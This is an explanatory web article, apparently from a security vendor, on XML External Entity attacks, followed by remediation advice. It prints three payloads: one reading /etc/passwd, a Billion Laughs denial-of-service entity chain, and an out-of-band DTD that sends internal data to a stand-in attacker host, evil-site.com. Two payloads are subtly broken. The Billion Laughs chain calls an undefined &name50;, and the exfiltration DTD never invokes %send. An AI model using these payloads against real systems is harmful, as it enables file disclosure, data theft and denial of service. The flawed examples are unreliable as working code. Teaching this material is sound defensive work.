XXE

Summary:
XXE (XML External Entity) is a type of attack against applications that parse XML input. It exploits the inclusion of external entities in XML documents to disclose confidential data, execute remote requests, and perform other malicious actions.

How XXE Works?

XML parsers allow entities to be defined within DTDs (Document Type Definitions). These entities can reference external resources such as files, URLs, or other data sources. XXE attacks manipulate these entities to access unauthorized resources or execute arbitrary code on the server.

Examples of XXE Attacks

Consider a web application that parses XML input from user-submitted data, such as an XML file upload feature. An attacker could craft a malicious XML file containing an external entity reference to a sensitive file on the server, such as /etc/passwd. Here’s an example of a malicious XML payload:

XML Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
 <data>&xxe;</data>
</root>

Response:

If the vulnerable application processes the above XML payload without proper validation and mitigation, it might include the contents of /etc/passwd in its response. Here is an example of what the response might look like:

<root>
 <data>Contents of /etc/passwd file...</data>
</root>

This response exposes sensitive system information, such as user accounts and system configurations, to the attacker.

  • XML Payload for Billion Laughs Attack:

Scenario: An attacker crafts an XML payload that performs a Billion Laughs attack, causing denial of service by overwhelming server memory.

XML Payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE mytype [
<!ENTITY name "John ">
<!ENTITY name2 "&name;&name;">
<!ENTITY name3 "&name2;&name2;">
<!ENTITY name4 "&name3;&name3;">
<!ENTITY name5 "&name4;&name4;">
<!ENTITY name6 "&name5;&name5;">
<!ENTITY name7 "&name6;&name6;">
<!ENTITY name8 "&name7;&name7;">
<!ENTITY name9 "&name8;&name8;">
<!ENTITY name10 "&name9;&name9;">
<!ENTITY name11 "&name10;&name10;">
]>
<foo>
&name50;
</foo>

Response: This attack causes the XML parser to recursively expand entities, leading to an exponential increase in memory usage until the server becomes unresponsive or crashes, thereby denying service.

  • XML Payload for XXE SSRF Attack:

Scenario: An attacker uses an XML payload to perform Server Side Request Forgery (SSRF) by fetching sensitive data from internal resources.

XML Payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE mytype [
<!ENTITY % xxe SYSTEM "http://evil-site.com/xxe.dtd">
%xxe;
]>
<foo>&send;</foo>

DTD (xxe.dtd) Loaded from http://evil-site.com/xxe.dtd:

<!ENTITY % data SYSTEM "http://internal-site.com/hidden-info.xml">
<!ENTITY % send "<!ENTITY send SYSTEM 'http://evil-site.com/?data=%data;'>">

Response: In this attack, the XML parser fetches sensitive data (hidden-info.xml) from an internal server (internal-site.com) and sends it to the attacker-controlled server (evil-site.com). This technique allows the attacker to extract and analyze sensitive information from within the target network.

Impacts of XXE Attacks

XXE attacks can have severe consequences:

  • Data Disclosure: Attackers can access sensitive data stored on the server.
  • Server-Side Request Forgery (SSRF): Exploitation of internal network resources via crafted XML payloads.
  • Denial of Service (DoS): Resource exhaustion by recursive entity expansion.
  • Data Integrity Compromise: Unauthorized modification of XML documents or data.

Remediation of XXE Attacks

To mitigate XXE vulnerabilities, follow these best practices:

  • Disable External Entities: Configure XML parsers to disallow external entity references.
  • Use Whitelisting: Limit DTDs to trusted local resources or disable them altogether.
  • Input Validation: Validate and sanitize XML input to prevent malicious payloads.
  • XML Parsers: Use secure XML parsers that support modern security features.

Conclusion:

XXE attacks exploit XML parsers to access sensitive data, perform SSRF, or cause denial of service. Understanding and implementing effective mitigation strategies are crucial to protect applications from these vulnerabilities. By following best practices in XML parsing and security configuration, organizations can significantly reduce the risk posed by XXE attacks.

Ready to see for yourself?

Test drives all platform features for yourself. No commitment and No credit card!

Book a Demo
Book a Demo